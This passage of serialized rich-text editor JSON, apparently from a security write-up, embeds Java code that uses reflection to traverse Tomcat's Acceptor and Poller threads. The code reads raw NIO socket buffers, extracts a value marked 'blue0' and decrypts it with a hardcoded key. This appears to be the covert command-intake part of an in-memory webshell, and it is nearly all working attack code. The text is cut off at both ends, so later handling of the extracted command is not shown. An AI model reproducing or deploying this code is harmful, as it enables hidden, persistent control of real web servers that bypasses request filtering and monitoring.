}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SNUu-1659707094504&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTc4-1659707094503&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDUc-1659707094506&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PD2U-1659707094505&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public String getRequest() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TIiw-1659707094508&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u5HG-1659707094507&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8hfi-1659707094510&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8kjf-1659707094509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;izww-1659707094512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w5ZE-1659707094511&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0VjX-1659707094514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q4RF-1659707094513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DxML-1659707094516&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbcb-1659707094515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TAp6-1659707094518&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;64tY-1659707094517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nn6l-1659707094520&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UBnc-1659707094519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5FD-1659707094522&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGrg-1659707094521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9P5c-1659707094524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jLas-1659707094523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uzqh-1659707094526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jowz-1659707094525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7L87-1659707094528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ykbr-1659707094527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bCiA-1659707094530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bx94-1659707094529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    Object[] objects = (Object[]) getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;nioChannels\&#34;), \&#34;stack\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mwj1-1659707094532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3tU-1659707094531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zByr-1659707094534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuLn-1659707094533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], \&#34;appReadBufHandler\&#34;), \&#34;byteBuffer\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MYE0-1659707094536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MhEJ-1659707094535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String a = new String(heapByteBuffer.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QcLX-1659707094539&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I0qA-1659707094538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rEAB-1659707094541&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1WyT-1659707094540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gmAy-1659707094543&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CX45-1659707094542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xKIQ-1659707094545&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XaPs-1659707094544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k8jM-1659707094547&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r1IK-1659707094546&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 1, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TAg8-1659707094549&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ceIM-1659707094548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5tll-1659707094551&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qiha-1659707094550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        b = decode(DEFAULT_SECRET_KEY, b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;doaX-1659707094553&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N2im-1659707094552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xyhl-1659707094555&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFED-1659707094554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ckpR-1659707094557&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;znvX-1659707094556&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1nBh-1659707094559&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t5R8-1659707094558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SGxi-1659707094561&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wH4-1659707094560&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sw2T-1659707094563&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BOs0-1659707094562&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wAbW-1659707094565&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oKqP-1659707094564&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SO4u-1659707094567&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dGN-1659707094566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ysrR-1659707094569&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XQNb-1659707094568&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DVX5-1659707094571&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w1Bz-1659707094570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21id-1659707094573&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u8bB-1659707094572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zwkz-1659707094576&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kgCJ-1659707094575&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kddt-1659707094578&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FqXF-1659707094577&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hd9n-1659707094580&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;03fu-1659707094579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mll0-1659707094582&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CLi5-1659707094581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeXB-1659707094584&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;13fk-1659707094583&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;msJt-1659707094586&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T7r8-1659707094585&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3oEU-1659707094588&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KVhp-1659707094587&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ErIp-1659707094590&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;upVd-1659707094589&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nzuM-1659707094592&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xz23-1659707094591&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public String getRequest2(){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TITi-1659707094594&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8cO-1659707094593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pOVa-1659707094596&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qphG-1659707094595&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CnXM-1659707094598&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7S9Q-1659707094597&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XqLm-1659707094600&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;59gO-1659707094599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWTB-1659707094602&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IJcO-1659707094601&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dUaZ-1659707094604&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzoy-1659707094603&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (threadName.contains(\&#34;Poller\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;axMA-1659707094606&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LYWb-1659707094605&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FjWJ-1659707094609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UioD-1659707094608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQ1Y-1659707094611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KdOQ-1659707094610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytNN-1659707094613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cdWl-1659707094612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                byte[] bytes = new byte[8192];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kc80-1659707094615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lUlD-1659707094614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                ByteBuffer buf = ByteBuffer.wrap(bytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zKWF-1659707094617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ipwr-1659707094616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5mW4-1659707094619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t1sk-1659707094618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    LinkedList linkedList = (LinkedList) getField(getField(getField(target, \&#34;selector\&#34;), \&#34;kqueueWrapper\&#34;), \&#34;updateList\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwwO-1659707094621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qkww-1659707094620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object obj : linkedList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V6H0-1659707094623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jN9h-1659707094622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7RfB-1659707094625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;epD5-1659707094624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, \&#34;channel\&#34;), \&#34;keys\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vb8f-1659707094627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IVht-1659707094626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CuOd-1659707094629&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TLKA-1659707094628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            for (Object tmp : selectionKeys) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubTI-1659707094631&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b5i8-1659707094630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PK9c-1659707094633&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pvBQ-1659707094632&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, \&#34;attachment\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vBCI-1659707094635&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qmer-1659707094634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cUMj-1659707094637&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uP7C-1659707094636&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        nioSocketWrapper.read(false, buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5GDU-1659707094639&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MuqO-1659707094638&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        String a = new String(buf.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JIYI-1659707094642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PICW-1659707094641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TLUJ-1659707094644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DuDm-1659707094643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            